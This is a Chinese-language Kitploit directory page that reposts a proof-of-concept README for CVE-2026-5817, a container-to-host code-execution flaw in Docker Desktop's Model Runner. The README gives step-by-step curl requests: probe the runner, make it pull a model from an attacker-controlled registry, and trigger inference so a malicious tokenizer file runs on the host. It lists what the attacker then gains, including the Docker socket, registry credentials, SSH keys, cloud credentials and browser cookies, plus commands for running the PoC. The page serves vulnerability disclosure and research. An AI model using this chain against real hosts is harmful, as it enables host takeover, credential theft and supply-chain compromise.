Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5817-PoC — Docker Model Runner 容器到主机 RCE / 逃逸:一个严重漏洞,允许在 Docker Model Runner 的 MLX / SGLANG / VLLM 推理后端中实现容器到主机的代码执行。 | Kitploit
工具/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
容器安全Payload生成漏洞分析漏洞利用供应链安全容器逃逸AI 安全
GitHubgouldnicholas/cve-2026-5817-poc

CVE-2026-5817-PoC

Docker Model Runner 容器到主机 RCE / 逃逸:一个严重漏洞,允许在 Docker Model Runner 的 MLX / SGLANG / VLLM 推理后端中实现容器到主机的代码执行。

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5817:Docker Model Runner 容器到宿主机 RCE / 逃逸

在 Docker Desktop(4.40.0 至 4.67.x)宿主机上的任何容器,都可以通过两个 HTTP 请求在宿主机上运行代码。无需套接字挂载,无需 --privileged,无需 capabilities。

原理

每个容器都可以无认证地访问位于 model-runner.docker.internal 的 Model Runner。它会从你指定的任何 OCI 仓库拉取模型,并在不校验摘要的情况下存储它们。Python 后端(vLLM、MLX、SGLang)使用 trust_remote_code=True 加载模型(或者在 MLX 的情况下,其配置输入甚至不承认 trust remote code),这会导入模型在 tokenizer_config.json 中引用的任何 .py 文件。该 .py 文件以桌面用户身份运行。

攻击场景

起始位置:攻击者已在宿主上的某个容器内获得代码执行能力。恶意基础镜像、开发工作区中的恶意 npm/pip 安装、CI 运行器执行攻击者控制的代码等。无需 Docker 套接字挂载,无需 --privileged,无需额外 capabilities。

  1. 探测 Model Runner。

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 表示 Model Runner 已启动且可从该容器访问。无需认证,也无需 Origin 头。

  2. 搭建一个恶意 OCI 仓库。 任何实现 OCI 分发规范的 HTTP 服务器都可以。该仓库需要能被宿主机访问(Model Runner 运行在宿主机上,而非容器内)。你可以将其托管在公网,或在本地运行并发布端口(本 PoC 的 docker-compose.yml 即采用后者)。它提供一个最小的合法 Llama 模型,其 tokenizer_config.json 中的 auto_map 指向 evil_tokenizer.py。evil_tokenizer.py 即宿主机载荷。参见 rce_registry.py。

  3. 让 Model Runner 从你的仓库拉取。

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner 下载 manifest,然后下载每个 blob,并将其写入磁盘存储。不会重新计算或比较摘要,也没有签名检查。恶意模型现在已安装。

  4. 触发推理以加载模型。

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner 选择一个 Python 后端(vLLM、MLX 或 SGLang),并使用 --model <bundle_dir> 指向已存储的模型来启动它。后端调用 AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True)。Transformers 读取 tokenizer_config.json,看到 auto_map,并从 bundle 目录导入 evil_tokenizer.py。模块级代码在导入时执行。

  5. 载荷在宿主机上运行。 它以 Docker Desktop 用户身份运行,位于任何容器之外,拥有该用户的完整文件系统和网络访问权限。推理本身通常会失败(模型太小,无法真正运行),但这无关紧要,因为导入已经发生。

  6. 攻击者由此获得什么。

    • /var/run/docker.sock 可访问。守护进程控制:创建特权容器、将宿主文件系统挂载到其中一个容器、exec 进入其他容器等。
    • ~/.docker/config.json 包含用户已登录的每个仓库的凭据。供应链跳板:将恶意镜像推送到上游。
    • SSH 密钥、云凭据、浏览器 cookie、源代码树,以及用户可读取的任何内容。
    • 通过守护进程,还可控制宿主上所有其他正在运行的容器。

载荷输入

将 rce_registry.py:45-105 行替换为任意载荷。

要求

  • Docker Desktop >= 4.40.0 且 < 4.68.0(Model Runner 于 4.40.0 引入,bug 在 4.68.0 修复),并已启用 Model Runner
  • 已安装 Python 后端(vllm-metal、vLLM、MLX 或 SGLang)
  • 宿主机上安装有 Python 3

运行

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

证明文件输出到 /tmp/poc_rce_proof。

文件

  • rce_registry.py - 伪造的 OCI 仓库,提供最小的 Llama 模型以及 evil_tokenizer.py
  • test_claims.py - 对照源码和运行中的系统检查每项声明
  • run_poc.sh - 包装脚本
  • docker-compose.yml - 仓库 + 非特权攻击者容器
  • Dockerfile.registry、Dockerfile.attacker - 镜像

相关 CVE

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
下载工具